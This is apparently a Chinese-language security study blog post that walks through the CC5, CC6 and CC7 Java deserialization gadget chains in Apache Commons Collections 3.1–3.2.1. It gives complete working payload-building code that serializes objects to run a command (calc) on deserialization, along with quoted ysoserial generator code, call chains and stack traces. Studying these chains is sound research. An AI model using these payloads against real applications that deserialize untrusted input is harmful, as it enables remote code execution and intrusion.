前景提要: https://lrui1.top/posts/f50fa0/

CC5

CC1的触发逻辑是 AnnotationInvocationHandler -> LazyMap.get() -> InvokeTransformer,而CC5则是找到了另外一种方式来触发LazyMap.get()

攻击链构造

对LazyMap.get()进行Find Usage,在common-collection 3.2.1下有一个类的toString()方法存在间接调用get

image.png

image.png

当然不止toString(),还有hashCode,equals,CC5是从toString()构造的,我们先分析toString()

TiedMapEntry

从上方的Find Usage,我们可以得出一个结论:TiedMapEntry的toString()、hashCode()、equals()方法都可以触发我们之前构造的攻击链——LazyMap.get()

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@Test  
public void testTiedMapEntry() {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "不存在Map中");
tiedMapEntry.toString();
}

toString()进行Find Usage,于是我们找到了一个存在readObject方法调用toString()的类,BadAttributeValueExpException

image.png

BadAttributeValueExpException

readObject方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

分析上述代码,发现只要系统没有默认的SecurityManager,且我们将val赋值为上述TiedMapEntry的实例,即可触发TiedMapEntry.toString()方法,测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@Test  
public void testCC5() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),

});
HashMap<String, String> hashMap = new HashMap<>();
hashMap.put("test","test");
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "不存在Map中");

BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
// 反射填值,因为其构造函数会调用toString()
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(payload, tiedMapEntry);

// 序列化
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC5.bin"));
ous.writeObject(payload);
System.out.println("ser successfully");
}

public static void main(String[] args) throws Exception {
Scanner sc = new Scanner(System.in);
String s = sc.nextLine();
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));
Object o = ois.readObject();
ois.close();
System.out.println("unser successfully");
User user = (User) o;
System.out.println(user);
sc.close();
}

弹出计算器

image.png

总结

调用链如下

1
2
3
4
5
6
7
8
9
BadAttributeValueExpException.readObject() // kick-off gadget
TiedMapEntry.toString()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform() // 中间都是 chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
org.apache.commons.collections.keyvalue.TiedMapEntry.toString(TiedMapEntry.java:132)
javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响范围

commons-collections : 3.1~3.2.1
jdk不清楚,上述代码使用JDK1.8.0_202仍可触发

ysoserial实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public BadAttributeValueExpException getObject(final String command) throws Exception {  
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return val;
}

跟之前一样,搞个ConstantTransformer先存着,后面用反射将transformerChain其中的属性改为真正的transformers,用于触发exec

CC6

攻击链构造(HashMap)

HashMap.readObject()

在之前CC5的分析中,我们有一个结论:

TiedMapEntry的toString()、hashCode()、equals()方法都可以触发我们之前构造的攻击链——LazyMap.get()

hashCode代码如下

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

既然hashCode也可以触发我们构造的攻击链,根据我们最初调试的URLDNS,我们可以用HashMap来触发TiedMapEntry.hashCode

但是链中有多个Map,会导致序列化顺序异常,

思路就是URLDNS+CC5的扩展,测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Test  
public void testCC61() throws Exception {
Transformer[] evil = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "不存在Map中");

HashMap<Object, Object> payload = new HashMap<>();
payload.put(tiedMapEntry, "下面反射填值,改成evil的transform");

// 反射,放进payload; 这样做是在HashMap put的时候不弹计算器
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, evil);

// 去除hashmap.put的影响,让lazyMap清空
lazyMap.clear();
// 序列化
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC6.bin"));
ous.writeObject(payload);
ous.close();
System.out.println("ser successfully");
}

需要注意的是,序列化之前构造的对象,payload.put元素,会触发hash 触发lazymap.get()导致存在元素,使得后面反序列化时不能正常触发,需清空lazymap

可弹计算器

image.png

总结

目前调用链

1
2
3
4
5
6
7
8
9
10
HashMap.readObject() // kick-off gadget
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform() // 中间都是 chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
java.util.HashMap.hash(HashMap.java:338)
java.util.HashMap.readObject(HashMap.java:1397)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响范围

commons-collections : 3.1~3.2.1

攻击链构造(HashSet)

su18大牛给出了一个HashSet触发HashMap.put的方式,相比于上一条链就是多套了一层HashSet,详细可参考 https://su18.org/post/ysoserial-su18-2/#hashset

HashSet.readObject()

HashSet的readObject代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();

// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}

// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}

// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);

// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));

// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}

上述代码在最后一个For循环中,存在map.put调用

不过readObject方法首行代码直接存在了HashMap.readObject的调用,导致触发提前

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@Test  
public void testCC62() throws Exception {
Transformer[] evil = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "不存在Map中");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "下面反射填值,改成evil的transform");

// 反射,放进payload; 这样做是在HashMap put的时候不弹计算器
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, evil);

HashSet<Object> payload = new HashSet<>();
payload.add(hashMap);

// 去除hashmap.put和HashSet.add的影响,让lazyMap清空
lazyMap.clear();

// 序列化
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC6.bin"));
ous.writeObject(payload);
ous.close();
System.out.println("ser successfully");
}

总结

调用链如下

1
2
3
4
5
6
7
8
9
10
11
HashSet.readObject()  // kick-off gadget
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform() // 中间都是 chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
java.util.HashMap.hash(HashMap.java:338)
java.util.HashMap.readObject(HashMap.java:1397)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
java.util.HashSet.readObject(HashSet.java:333)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响范围

commons-collections : 3.1~3.2.1

ysoserial实现

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public Serializable getObject(final String command) throws Exception {  

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}

Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

Reflections.setAccessible(keyField);
keyField.set(node, entry);

return map;

}

对于JDK1.8,yso这个实现思路是直接通过反射获取HashSet中的HashMap中的Node<K,V>[] table的引用,随后将TiedMapEntry直接反射填入,避免使用公共API方法导致的一系列触发流程,比较臃肿。

CC7

参考CC6,找的是hashCode的触发点,CC6找的是HashMap,CC7这条链是基于HashTable的

攻击链构造

HashMap与HashTable(Gemini)

特性 HashMap Hashtable
线程安全 不安全 (非 Synchronized) 安全 (方法被 synchronized 修饰)
Null Key 允许 (仅限 1 个) 不允许 (抛 NullPointerException)
Null Value 允许 (任意多个) 不允许 (抛 NullPointerException)
性能 高 (无锁开销) 低 (全表锁,竞争激烈时效率差)
父类 AbstractMap Dictionary (已废弃的类)
诞生时间 JDK 1.2 (Java Collections Framework) JDK 1.0 (遗留类)
迭代器 Fail-Fast Enumerator (不是 Fail-Fast)

HashTable.readObject()方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void readObject(java.io.ObjectInputStream s)  
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length // odd if it's large enough, this helps distribute the entries. // Guard against the length ending up zero, that's not valid. int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

reconstitutionPut方法,存在调用key.hashCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)  
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version. int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Test  
public void testCC7() throws Exception {
Transformer[] evil = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 反射获取getRuntime方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// invoke,获取其返回值
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 执行exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});

Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "不存在Map中");

Hashtable<Object, Object> payload = new Hashtable<>();
payload.put(tiedMapEntry, "GO GO GO");

// 反射,放进payload; 这样做是在HashMap put的时候不弹计算器
Field iTransformersField = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, evil);

// 去除hashmap.put的影响,让lazyMap清空
lazyMap.clear();
// 序列化
ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC7.bin"));
ous.writeObject(payload);
ous.close();
System.out.println("ser successfully");
}

弹出计算器

image.png

总结

调用链如下

1
2
3
4
5
6
7
8
9
10
Hashtable.readObject() // kick-off gadget
Hashtable.reconstitutionPut()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform() // 中间都是 chain gadget
ConstantTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform()
InvokerTransformer.transform() // sink Gadget

调用堆栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue(TiedMapEntry.java:74)
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode(TiedMapEntry.java:121)
java.util.Hashtable.reconstitutionPut(Hashtable.java:1218)
java.util.Hashtable.readObject(Hashtable.java:1195)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响范围

commons-collections : 3.1~3.2.1

ysoserial实现

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public Hashtable getObject(final String command) throws Exception {  

// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{command};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

return hashtable;
}

跟CC6的实现这部分代码就简练许多,通过在序列化之前,移除lazyMap中的一个元素和修改ChainedTransformer中的iTransformers,确保在反序列化时的正确利用

总结

CC1~CC7全部都调试完了,完结撒花 !!!

从刚开始的AnnotationInvocationHandler结合动态代理,到后面的TiedMapEntry打通HashMap,挖掘出这些利用链的师傅真是太厉害了,个人觉得在这些链中最为利落的是CC5,利用链简单,报错堆栈少,简直牛大了

还有那么多反序列化链,先休息下吧,燃尽了。

参考链接

https://www.oracle.com/java/technologies/javase/8u-relnotes.html